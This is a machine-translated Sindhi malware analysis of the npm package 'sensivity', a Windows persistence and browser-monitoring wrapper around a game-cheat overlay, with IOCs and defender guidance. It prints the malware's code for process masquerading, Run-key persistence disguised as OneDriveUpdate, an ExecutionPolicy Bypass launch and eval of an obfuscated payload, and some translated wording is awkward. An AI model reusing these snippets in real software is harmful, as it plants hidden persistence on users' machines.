TL، ڊاڪٽر
اين پي ايم پيڪيج حساسيت پاڻ کي "حساسيت ڪنٽرول پينل" جي طور تي بيان ڪري ٿو. ونڊوز تي اهو هڪ ريموٽ ڪنٽرول ۽ نگراني اوزار طور ڪم ڪري ٿو.
ان جو داخلا نقطو، launcher.js، پنهنجي عمل جو نالو رن ٽائم بروڪر رکي ٿو، هڪ آٽو اسٽارٽ رن-ڪي ويليو لکي ٿو جنهن جو نالو آهي OneDriveUpdate جيڪو لڪيل VBScript ذريعي پيڪيج کي ٻيهر لانچ ڪري ٿو، پاور شيل کي پيدا ڪري ٿو -ExecutionPolicy Bypass، ۽ پوءِ هڪ 6.87 MB اصلي ماڊل سان گڏ هڪ 171 KB مبهم سرور پيل لوڊ جو جائزو وٺندو آهي، sens.node.
اهو TCP پورٽ 3000 تي فون-پيرنگ ڪنٽرول پينل جي خدمت ڪري ٿو ۽ ونڊوز UIAutomation ذريعي فعال برائوزر جي ايڊريس بار URL کي پڙهي ٿو، هڪ هارڊ ڪوڊ ٿيل يوٽيوب وڊيو کي ڏسي ٿو.
ٻه حصا جيڪي اڳ ۾ بليڪ باڪس طور ڇڏيل هئا هاڻي حل ٿي ويا آهن. مبهم سرور، server.obf.js، هڪ obfuscator.io RC4 string-array اسڪيم استعمال ڪري ٿو؛ ان جي ڊيڪوڊر کي آف لائن ٻيهر لاڳو ڪرڻ (ڪو به جاوا اسڪرپٽ عمل ۾ نه آيو) هڪ واحد خارجي اينڊ پوائنٽ کي بحال ڪري ٿو - https://izopi.com/check.php - دستخط ٿيل لائسنس جي جوابن جي تصديق ڪرڻ لاءِ استعمال ٿيندڙ هڪ ايمبيڊڊ RSA پبلڪ ڪي سان گڏ.
اصلي ماڊيول، sens.node، پيڪ ٿيل نه آهي: ان جي امپورٽ ٽيبل ۽ ايمبيڊڊ اسٽرنگ ان کي DirectX 11 / Dear ImGui ان-گيم اوورلي جي طور تي سڃاڻن ٿا جيڪو ايمبوٽ، ESP (وال-هيڪ)، ۽ ٽرگر بوٽ خاصيتون مهيا ڪري ٿو، جيڪي ريموٽ-پروسيس انجيڪشن ۽ ميموري ريڊ/رائيٽ ذريعي هلائي ٿو.
ان جي اندر تارون گاڏين جي ادارن ۽ نقشي جي جڳهن جو حوالو ڏين ٿيون جيڪي GTA V / FiveM سان مطابقت رکن ٿيون. npm پيڪيج ان اصلي ماڊل جي چوڌاري ترسيل ۽ پرسسٽنس ريپر آهي.
وضاحت ڪندڙ سگنل آپريشنل آهي، ٽيڪنيڪل نه: هڪ گمنام پبلشر هڪ پيڪيج جا لڳ ڀڳ ستر ورجن اڳتي وڌايا - 2.5.0 ذريعي 2.5.69 — ڪجهه ڏينهن تائين، هر هڪ ساڳيو لانچر کڻي رهيو هو.
ڪا به انسٽاليشن ناهي hooks. پيل لوڊ صرف تڏهن هلندو آهي جڏهن پيڪيج شروع ٿئي ٿو.
حملو: اهو ڪيئن ڪم ڪري ٿو
حساسيت ڏهه فائلون موڪلي ٿي. package.json گهٽ آهي: ڪو به ريپوزٽري فيلڊ ناهي، ڪو به لائسنس ناهي، هڪ مکيه ۽ ٻه بن عرف (حساسيت، سينس) سڀ لانچر.js ڏانهن اشارو ڪري رهيا آهن، ۽ نوڊ لانچر.js جو هڪ شروعاتي اسڪرپٽ. ڪو به پوسٽ انسٽال يا پري انسٽال ناهي. npm انسٽال تي ڪجهه به فائر نٿو ٿئي. هيٺ بيان ڪيل رويي تڏهن هلندو آهي جڏهن هڪ صارف پيڪيج شروع ڪري ٿو - بن شيم، شروعاتي اسڪرپٽ، يا هڪ ضرورت ذريعي.
ٽاربال لانچر، هڪ مبهم سرور، اصلي ماڊيول، هڪ بصري بنيادي اسڪرپٽ، ۽ ڪنٽرول پينل لاءِ هڪ عوامي/ويب ڊاريڪٽري رکي ٿو. launcher.js پڙهڻ لائق آرڪيسٽريٽر آهي؛ منطق جيڪو رن ٽائم تي اهميت رکي ٿو اهو ٻن بلاب ۾ رهي ٿو جيڪو اهو لوڊ ڪري ٿو - هڪ مبهم سرور ۽ هڪ مرتب ڪيل اصلي ماڊيول، ٻئي هيٺ حل ڪيا ويا آهن.
پروسيس ماسڪريڊ ۽ هڪ جعلي OneDrive اپڊيٽر
عمل جي شروعات ۾ launcher.js پنهنجو عمل جو نالو ٻه ڀيرا سيٽ ڪري ٿو:
javascript process.title = 'Runtime Broker'; رن ٽائم بروڪر هڪ جائز ونڊوز پروسيس (RuntimeBroker.exe) آهي جيڪو ايپ جي اجازتن جي وچ ۾ آهي. نوڊ پروسيس جو نالو تبديل ڪرڻ سان ان سان ملائڻ جو مطلب آهي ته ٽاسڪ مئنيجر تي هڪ تڪڙي نظر ڪجهه به غير معمولي نه ڏيکاريندي.
پرسسٽنس سڌو رجسٽري API جي بدران پاور شيل ذريعي لکيو ويندو آهي:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); آٽو اسٽارٽ ويليو کي OneDriveUpdate جو نالو ڏنو ويو آهي، ۽ اهو سڌو سنئون پيڪيج ڏانهن اشارو نٿو ڪري. اهو بنڊل ٿيل OneDrive.Standalone.Updater.vbs هلائيندڙ wscript.exe ڏانهن اشارو ڪري ٿو. اهو اسڪرپٽ هڪ لڪيل ونڊو ۾ نوڊ لانچر.js کي ٻيهر لانچ ڪري ٿو. رن-ڪي نالو ۽ VBScript فائل نالو ٻئي Microsoft برانڊنگ کي قرض وٺن ٿا، تنهن ڪري آٽو اسٽارٽ داخلا هڪ معمول OneDrive ڪم جي طور تي پڙهي ٿي.
پاور شيل عملدرآمد پاليسي بائي پاس سان
لانچر بار بار پاور شيل ڏانهن شيل ڪري ٿو. اهو سنڪ جنهن کي اسڪينر نازڪ طور نشان لڳايو آهي اهو هڪ پيدا ٿيل .ps1 جي لانچ آهي جنهن ۾ عملدرآمد پاليسي غير فعال آهي:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ايگزيڪيوشن پاليسي بائي پاس ان انووڪيشن لاءِ مقامي اسڪرپٽ سائننگ چيڪ کي هٽائي ٿو. ٺاهيل اسڪرپٽ ايندڙ حصي ۾ بيان ڪيل برائوزر-نگراني ۽ ونڊو-تشخيص جي ڪم کي سنڀاليندا آهن.
مبهم سرور ۽ اصلي ماڊيول
سيٽ اپ کان پوءِ، launcher.js پنهنجي حقيقي پيل لوڊ کي لوڊ ۽ عمل ۾ آڻيندو آهي:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js _0x-array obfuscation جو 171 KB آهي - جاوا اسڪرپٽ جو نمونو جتي هر اسٽرنگ ۽ سڃاڻپ ڪندڙ کي هڪ انڊيڪس سان هڪ شفل ٿيل صف ۾ تبديل ڪيو ويندو آهي، پوءِ رن ٽائم تي ڊي-ريفرنس ڪيو ويندو آهي. اسڪيم obfuscator.io پاران تيار ڪيل RC4 قسم آهي: هڪ سنگل ڊيڪوڊر فنڪشن base64-هڪ صف جي داخلا کي ڊي ڪوڊ ڪري ٿو ۽ پوءِ RC4-ان کي في-ڪال ڪي سان ڊيڪرپٽ ڪري ٿو. ان ڊيڪوڊر کي هڪ الڳ اسڪرپٽ ۾ ٻيهر لاڳو ڪرڻ - صرف ڪڍيل 821-انٽري اسٽرنگ صف تي ٻيهر لاڳو ڪرڻ کي هلائڻ، ڪڏهن به پيڪيج جو پنهنجو جاوا اسڪرپٽ نه - ان کي صاف طور تي کوليو ويندو آهي. ڪهڙيون سطحون معمولي آهن پر ڊيcisive: هڪ خارجي URL، https://izopi.com/check.php`، هڪ LICENSE_URL ڪانسٽنٽ کي مقرر ڪيو ويو آهي؛ هڪ ايمبيڊڊ RSA PUBLIC_KEY_PEM`؛ مقامي پينل /api/kill، /api/qr.png، /api/trigger، /api/url، /trigger/off، ۽ /trigger/status روٽ ڪري ٿو؛ ۽ اسٽرنگ child_process، crypto، ۽ [Sensivity] sens.node لوڊ ٿيل آهن - آخري صحيح لاگ لائن آهي جيڪا لانچر لوڊ ٿيل پروگرام ماڊيول تي ٻيهر لکي ٿو. آخري پوائنٽ هڪ لائسنس چيڪ آهي: ڪلائنٽ هڪ سڃاڻپ ڪندڙ پوسٽ ڪري ٿو (مبهم سرور هڪ ڊسڪارڊ ID فارميٽ ڪري ٿو: %s اسٽرنگ) ۽ RSA ڪي سرور جي دستخط ٿيل جواب جي تصديق ڪري ٿي.
sens.node هڪ 6.87 MB مرتب ڪيل اصلي ايڊون آهي، ۽ اهو پيڪ ٿيل ناهي - سيڪشن اينٽراپي 5.6-6.6 تي ويٺو آهي ۽ PE درآمد ۽ برآمد ٽيبل برقرار آهن، تنهنڪري ان جون صلاحيتون سڌو سنئون پڙهڻ لائق آهن. اهو napi_register_module_v1 برآمد ڪري ٿو، standard نوڊ N-API داخلا پوائنٽ، تنهن ڪري eval'd سرور ان کي هڪ سادي ضرورت سان لوڊ ڪري ٿو. ان جي درآمد جي ٽيبل ٻڌائي ٿي. KERNEL32 کان اهو OpenProcess، VirtualAllocEx، WriteProcessMemory، ReadProcessMemory، CreateRemoteThread، K32EnumProcessModules، ۽ Process32First/NextW کي ڇڪي ٿو - ٻئي عمل کي ڳولڻ، ان جي اندر ميموري مختص ڪرڻ، ۽ ان ميموري کي پڙهڻ يا لکڻ لاءِ ڪيننيڪل سيٽ. USER32 کان اهو GetAsyncKeyState، GetKeyState، mouse_event، ۽ SetCursorPos کي ڇڪي ٿو؛ اهو d3d11.dll، D3DCOMPILER_43، ۽ dwmapi کي آن-اسڪرين اوورلي لاءِ، ۽ نيٽ ورڪ ڪالن لاءِ مڪمل WINHTTP سيٽ کي ڳنڍي ٿو. ان جا ايمبيڊڊ اسٽرنگ فيچر سيٽ کي بغير ڪنهن ابهام جي نالو ڏين ٿا: فعال ڪريو Aimbot، Aimbot FOV، Box ESP، Skeleton ESP، Triggerbot، ESP Builder، Vehicle ESP، Electron Anticheat detected، ۽ Dear ImGui بينر Dear ImGui 1.91.3 WIP. جڳھ ۽ انٽيٽي اسٽرنگ جهڙوڪ Grapeseed Medical Clinic ۽ vehicle-ESP لفظ GTA V / FiveM سان مطابقت رکن ٿا.
ورڇ کي جان بوجھ ڪري اثر ۾ آندو ويو آهي: پڙهڻ لائق لانچر. جي ايس صرف اهي حصا کڻي ٿو جيڪي هڪ اسڪينر آساني سان پڙهي ٿو - پرسسٽنس، ماسڪريڊ، ايول ڪال پاڻ - جڏهن ته اوبفسڪيشن هڪ خارجي هوسٽ کي رن ٽائم رابطن کي لڪائيندو آهي، ۽ بائنري گيم اوورلي ۽ پروسيس-انجيڪشن منطق کي رکي ٿو. لانچر پتلي، آڊٽيبل شيل آهي؛ اوبفسڪٽيڊ سرور نيٽ ورڪ سڃاڻپ کي لڪائيندو آهي؛ اصلي ماڊل پيل لوڊ آهي. اسان بائنري جي درآمد ۽ اسٽرنگ کي پڙهڻ جي طور تي بيان ڪريون ٿا؛ اسان انهن مان آپريٽر جو مقصد نه ٿا ڪڍون.
پورٽ 3000 تي فون جوڙڻ وارو ڪنٽرول پينل
لانچر TCP پورٽ 3000 تي هڪ مقامي ويب سرور کي منظم ڪري ٿو ۽ ان کي سنگلٽن طور علاج ڪري ٿو. اهو هڪ موجوده ٻڌندڙ لاءِ سوال ڪري ٿو ۽ پابند ڪرڻ کان اڳ ان کي صاف ڪري ٿو:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); پينل http://localhost:3000 تي پهچي سگهجي ٿو، هڪ هارڊ ڪوڊ ٿيل LAN فال بيڪ URL سان http://192.168.1.16:3000. پبلڪ/ ڊاريڪٽري ۽ پينل جو رويو QR-پيئرنگ فلو سان مطابقت رکي ٿو: هڪ فون هڪ ڪوڊ اسڪين ڪري ٿو ۽ هوسٽ سان ريموٽ جي طور تي ڳنڍيل آهي. لانچر ۾ ڪو به ٻاهرين ڪمانڊ ۽ ڪنٽرول ڊومين واضح متن ۾ ظاهر نٿو ٿئي - پر، جيئن مٿي ڊيوبفسڪشن ڏيکاري ٿو، هڪ مبهم سرور ۾ موجود آهي: izopi.com لائسنس اينڊ پوائنٽ. پينل پاڻ مقامي ۽ LAN-اسڪوپ ٿيل آهي؛ صرف آئوٽ بائونڊ هوسٽ اهو لائسنس چيڪ آهي.
هڪ الڳ ٿيل سپروائيزر/ڪم ڪندڙ ماڊل عمل کي زنده رکي ٿو. لانچر پاڻ کي SENSIVITY_SUPERVISOR ۽ SENSIVITY_WORKER ماحولي جهنڊن سان ٻيهر پيدا ڪري ٿو، هر ٻار لڪيل هلندو آهي، تنهنڪري هڪ عمل کي ختم ڪرڻ سان ان کي ٻيهر شروع ڪرڻ لاءِ هڪ واچ ڊاگ ڇڏي ويندو آهي.
برائوزر نگراني ۽ يوٽيوب سگنل
سڀ کان وڌيڪ مخصوص رويي برائوزر مانيٽرنگ آهي. launcher.js PowerShell ٺاهيندو آهي جيڪو Windows UIAutomation کي هلائيندڙ برائوزر جي ايڊريس بار کي پڙهڻ لاءِ هلائي ٿو:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern هڪ UI عنصر جي ٽيڪسٽ مواد کي واپس ڪري ٿو. برائوزر جي ايڊريس بار ايڊٽ ڪنٽرول تي لاڳو ڪيو ويو آهي، اهو متاثر ٿيل URL کي واپس ڪري ٿو - برائوزر ايڪسٽينشن کان سواءِ، ڊسڪ تي پروفائل کي ڇهڻ کان سواءِ، ۽ API ٿلهو کان سواءِ. پيدا ٿيل اسڪرپٽ هڪ $browserNames لسٽ کي ورجائي ٿو ۽ جيڪو به برائوزر پيش منظر ۾ آهي ان جو URL يا ونڊو عنوان ڪڍي ٿو.
اهو URL هڪ واحد هارڊ ڪوڊ ٿيل ٽارگيٽ جي خلاف آزمايو ويو آهي:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; لانچر پول هڪ برائوزر ونڊو لاءِ ٽن سيڪنڊن جي لوپ تي يوٽيوب ڏيکاري ٿو، ۽ پيدا ٿيل پاور شيل هڪ Get-YouTubeBrowser / Test-TargetYouTubeUrl جوڙو رکي ٿو جيڪو ان وڊيو ID سان ملندو آهي. مشاهدو ڪندڙ اثر ٻه ڀيرا آهي: فعال برائوزنگ URL متاثر جي اسڪرين مان پڙهيو ويندو آهي، ۽ ميزبان جو هڪ مخصوص يوٽيوب وڊيو سان رابطو معلوم ڪيو ويندو آهي. اسان ميڪانيزم ۽ ٽارگيٽ کي بيان ڪريون ٿا؛ اسان انهن مان ڪو مقصد نه ٿا ڪڍون.
ايڊريس بار ريڊ اهو آهي جيڪو اسڪينر ليبل ڪري ٿو sensitive_data_enumeration — هڪ پروسيس::env ۽ UIAutomation سورس جيڪو نيٽ ورڪ جي قابل رن ٽائم کي کارائي ٿو. اهو اڪيلائي ۾ نرم نظر اچي ٿو ۽ صرف هڪ ڀيرو نگراني جو حل ڪري ٿو جڏهن ڊيٽا لائف سائيڪل UIAutomation سورس کان مبهم سرور تائين ڳولهيو وڃي ٿو.
ٽائم لائن ۽ نسخو ارتقا
حساسيت هڪ ڀيرو اپلوڊ ڪرڻ جي ڳالهه ناهي. پبلشر اڪائونٽ وٽ هن واحد پيڪيج جا لڳ ڀڳ ستر شايع ٿيل ورجن آهن، ۽ جائزو ونڊو دوران نوان ورجن ايندا رهيا. لانچر 2.5.x لائن ۾ خصوصيت جي لحاظ کان خصوصيت ۾ واڌارو ڪري ٿو جڏهن ته ان جي استحڪام ۽ پيل لوڊ لوڊنگ مقرر رهي ٿي.
| تاريخ (UTC) | مشاهدو ڪيل نسخا | لانچر جي حالت |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | بنيادي QR-پينل لانچر؛ رن-ڪي پرسسٽنس؛ مبهم سرور جو جائزو. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | ساڳيو فنگر پرنٽ؛ ڪنسول-ٽريس دٻاءُ. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | پن ٿيل يوٽيوب مصروفيت جو هدف شامل ڪري ٿو wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | خال ڀرڻ جي حد تائين ٻيهر اشاعت؛ سپروائيزر/ڪم ڪندڙ نگران. |
ڊائون لوڊ ٿيل نمائندن - 2.5.0، 2.5.36، ۽ 2.5.69 - ۾ لانچر کي پڙهڻ چار درجا ڏيکاري ٿو. شروعاتي تعميرات ۾ بنيادي QR-جوڙيندڙ لانچر شامل آهي. 2.5.33 کان UIAutomation ايڊريس-بار هارويسٽر ظاهر ٿئي ٿو. 2.5.58 کان هڪ سپروائيزر-مينيجمينٽ پرت شامل ڪئي وئي آهي. 2.5.64 کان الڳ ٿيل سپروائيزر/ڪم ڪندڙ واچ ڊاگ سيٽ کي مڪمل ڪري ٿو. ان دوران، چار شيون ڪڏهن به تبديل نه ٿيون ٿين: OneDriveUpdate Run key، OneDrive.Standalone.Updater.vbs dropper، eval'd server.obf.js، ۽ sens.node اصلي ماڊيول.
2026-06-05 جي لهر قابل ذڪر آهي ڇاڪاڻ ته ان گهٽ ورجن نمبرن کي ٻيهر شايع ڪيو - 2.5.0 کان 2.5.15 تائين - جيڪي ڪجهه ڏينهن اڳ تصديق ٿيل ورجن کان هيٺ ويٺا آهن. اثر رجسٽري تي هڪ ملندڙ 2.5.x لائن آهي، هر ورجن ۾ ساڳيو لانچر هوندو آهي.
سمجهوتي جا اشارا
هيٺ ڏنل سڀئي اشارا سڌو سنئون پيڪيج ٽاربال مان پڙهيا ويا. پڙهڻ لائق لانچر صرف لوپ بيڪ ۽ هڪ خانگي LAN پتو رکي ٿو؛ هڪ خارجي هوسٽ نالو، izopi.com، server.obf.js کي آف لائن ڊيوبفسٽ ڪندي حاصل ڪيو ويو.
| قسم | اشارو | نوٽ |
|---|---|---|
| پئڪيج | npm:sensivity (≈70 نسخا، 2.5.0-2.5.69) | سنگل پيڪيج پبلشر؛ ڪو به ذخيرو ناهي؛ بغير لائسنس جي. |
| عڪس | launcher.js | پڙهڻ لائق آرڪيسٽريٽر؛ مکيه ۽ بن ٽارگيٽ. |
| عڪس | server.obf.js (≈171 ڪلو بائيٽ) | obfuscator.io RC4 اسٽرنگ-ايري پيل لوڊ، ذريعي لوڊ ڪيو ويو eval(fs.readFileSync(...)). |
| عڪس | sens.node (≈6.87 ايم بي) | PE32+ x86-64 نوڊ اين-API ايڊون؛ SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| عڪس | OneDrive.Standalone.Updater.vbs | لڪيل ٻيهر لانچر (node launcher.js). |
| نيٽ ورڪ | https://izopi.com/check.php | مبهم سرور مان لائسنس/تصديق جو آخري نقطو حاصل ڪيو ويو؛ ايمبيڊڊ RSA پبلڪ ڪي جوابن جي تصديق ڪري ٿي. |
| صلاحيت | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | ريموٽ پروسيس انجيڪشن ۽ ميموري پڙهڻ/لکڻ جي صلاحيت. |
| صلاحيت | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | ڊائريڪٽ ايڪس 11 / آئي ايم گيوئي گيم اوورلي ايمبوٽ، اي ايس پي، ۽ ٽرگربوٽ خاصيتن کي لاڳو ڪري ٿو. |
| رجسٽري | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | خودڪار شروع قدر ڏانهن اشارو ڪندي wscript.exe ۽ وي بي ايس اسڪرپٽ لانچر. |
| عمل | process.title = 'Runtime Broker' | جائز ونڊوز رن ٽائم بروڪر عمل جي طور تي نقاب پوش. |
| رويي | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | پيدا ٿيل پاور شيل اسڪرپٽ لاءِ استعمال ٿيندڙ ايگزيڪيوشن پاليسي بائي پاس. |
| رويي | UIAutomation ValuePattern برائوزر ايڊريس بار پڙهڻ | پيش منظر برائوزر ونڊو جو URL پڙهي ٿو. |
| رويي | ٽارگيٽ وڊيو ID wJWta2lO0Lw; 3 سيڪنڊن جو يوٽيوب پول | پِن ٿيل مصروفيت جي نگراني سگنل. |
| نيٽ ورڪ | http://localhost:3000، فال بيڪ http://192.168.1.16:3000 | QR-جوڙيندڙ ڪنٽرول پينل مقامي طور تي ۽ LAN تي ظاهر ٿيو. |
| ماحول | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | الڳ ٿيل واچ ڊاگ عمل جي ڪوآرڊينيشن جا جھنڊا. |
انتساب، اثر، ۽ محافظ
هي پيڪيج هڪ واحد اين پي ايم اڪائونٽ پاران شايع ڪيو ويو آهي جنهن جي بيان ڪيل اي ميل هڪ غير تصديق ٿيل جي ميل ايڊريس آهي. اڪائونٽ هڪ تمام گهڻو منفي رجسٽري شهرت جو اسڪور رکي ٿو، صرف هن هڪ پيڪيج کي برقرار رکي ٿو ۽ شايع ڪري ٿو، ۽ ڪو به ڳنڍيل ذريعو ذخيرو ناهي. اسان اي ميل جي ملڪيت جي تصديق نه ڪئي آهي ۽ اسان مهم کي پبلشر اڪائونٽ سان منسوب ڪريون ٿا، ڪنهن به نامزد فرد سان نه. لانچر ڪو به واضح ٽيڪسٽ انفراسٽرڪچر نه ٿو رکي، پر هڪ خارجي هوسٽ هاڻي سڃاتو وڃي ٿو: مبهم سرور لائسنس چيڪ لاءِ izopi.com سان رابطو ڪري ٿو، ۽ اصلي ماڊيول - ان جي درآمد ٽيبل ۽ اسٽرنگ مان پڙهيو ويو آهي بجاءِ هدايت جي هدايت جي ذريعي - هڪ راند اوورلي آهي جيڪو ٻئي عمل جي ياداشت ۾ داخل ٿئي ٿو ۽ پڙهي ٿو.
مشاهداتي اثر ونڊوز استعمال ڪندڙن تي پوي ٿو جيڪي ڪنٽرول پينل يوٽيلٽي جي اميد سان حساسيت کي انسٽال ۽ هلائيندا آهن. انهن هوسٽن تي پيڪيج OneDrive ٽاسڪ جي روپ ۾ آٽو اسٽارٽ پرسسٽنس قائم ڪري ٿو، سسٽم جي عمل جي نقل ڪرڻ لاءِ پاڻ کي تبديل ڪري ٿو، جيڪو به صارف براؤز ڪري رهيو آهي ان جو URL پڙهي ٿو، ۽ هڪ پيئرنگ پينل کي بيٺو آهي جيڪو مشين کي مقامي نيٽ ورڪ تي ريموٽ سان ڳنڍي ٿو. سپروائيزر/ورڪر واچ ڊاگ جو مطلب آهي ته هڪ واحد پروسيس ڪِل ان کي نه هٽائيندو آهي؛ رن-ڪي داخلا ريبوٽس کان بچي ويندي آهي. macOS ۽ Linux لانچر پاران نشانو نه بڻيل آهن - پرسسٽنس، پاور شيل، ۽ UIAutomation رستا صرف ونڊوز لاءِ آهن.
ستر ورجن جي چرن هڪ اهڙو رجحان آهي جنهن کي نشانو بڻائڻ جي ضرورت آهي. ڪجهه ڏينهن ۾ هڪ پيڪيج کي درجنين ڀيرا ٻيهر شايع ڪرڻ، جنهن ۾ اڳ ۾ ئي هٽايل ورجن نمبرن کان هيٺ بيڪ فلنگ شامل آهي، هٽائڻ جي وچ ۾ رجسٽري تي هڪ لائيو ڪاپي رکي ٿو ۽ ورجن-پن ٿيل بلاڪ لسٽن کي مايوس ڪري ٿو. sensivity@2.5.61 لاءِ هڪ بلاڪ لسٽ داخلا sensivity@2.5.3 جي خلاف ڪجهه به نٿو ڪري جيڪا ٻئي ڏينهن ٻيهر شايع ٿئي ٿي.
محافظ هيٺين تي عمل ڪري سگهن ٿا:
- رجسٽري-پراڪسي ۽ سي آءِ الائو لسٽ ۾ پيڪيج جي نالي جي حساسيت کي مڪمل طور تي بلاڪ ڪريو. انفرادي ورزن کي پن ڪرڻ سان ٻيهر شايع ڪرڻ جي ڪيڊنس کي نقصان پهچي ٿو؛ نالو پائيدار اشارو آهي.
- OneDriveUpdate نالي هڪ رن ويليو جي ڳولا ڪريو جنهن جو ڊيٽا في يوزر رستي ۾ .vbs جي خلاف wscript.exe کي استعمال ڪري ٿو. حقيقي OneDrive اپڊيٽر هن طريقي سان رجسٽر ٿيل نه آهي.
- هڪ Node.js عمل تي الرٽ جنهن جو process.title رن ٽائيم بروڪر آهي. حقيقي بروڪر RuntimeBroker.exe آهي، نوڊ رن ٽائيم نه.
- پيڪيجز جي npm انسٽال-ٽائيم فيچز کي نشان لڳايو جيڪي هڪ مرتب ڪيل .node ايڊون ۽ هڪ sibling .obf.js فائل جي eval(fs.readFileSync(…)) موڪليندا آهن. اهو جوڙو - هڪ مبهم ٽيڪسٽ پيل لوڊ جي اڳيان لوڊ ٿيل مبهم اصلي بائنري - هتي ساختي بيان آهي، ڪنهن به اسٽرنگ IOC کان آزاد.
- پورٽ 3000 تي ڪنهن به مقامي طور تي پابند ٻڌندڙ کي منظم ونڊوز اينڊ پوائنٽس تي شڪي سمجهيو جيڪو ڪنهن غير متوقع نوڊ عمل ذريعي پيدا ٿئي ٿو.
- ڊولپر يا اينڊ-يوزر هوسٽ کان izopi.com ڏانهن ايندڙ درخواستن تي بلاڪ يا الرٽ ڪريو؛ اهو پيڪيج جو واحد خارجي اينڊ پوائنٽ آهي، جيڪو مبهم سرور کان /check.php تي پهچندو آهي.
- ڪنهن به بنڊل .node ايڊون لاءِ، ان تي ڀروسو ڪرڻ کان اڳ ان جي امپورٽ ٽيبل جو معائنو ڪريو. OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread جو ميلاپ ريموٽ-پروسيس انجيڪشن آهي قطع نظر ته پيڪيج ڇا ڪرڻ جو دعويٰ ڪري ٿو؛ هتي اهو هڪ Direct3D اوورلي ۽ aimbot/ESP/triggerbot اسٽرنگ جي ڀرسان ويٺو آهي.
جامد تجزيي لاءِ pipelines، ورجن چرن ۾ يقين جي شڪل پائيدار آهي: هڪ غير نيٽ ورڪ انسٽال پروفائل، هڪ سڃاتل سسٽم-پروسيس نالي لاءِ هڪ پروسيس-ٽائيٽل اسائنمينٽ، پاور شيل ذريعي هڪ رن-ڪي لکڻ، ۽ ڊسڪ مان پڙهيل فائل جو جائزو. انهن مان ڪو به ڊومين، هڪ IP، يا هڪ ورزن نمبر تي منحصر ناهي جيڪو ايندڙ ٻيهر شايع ٿيڻ کان پوءِ گھمائي سگهجي ٿو.
حوالا
[اين پي ايم: حساسيت] – هتي بحث ڪيل پيڪيج ورزن لائن لاءِ رجسٽري صفحو؛ هٽائڻ جي تابع.
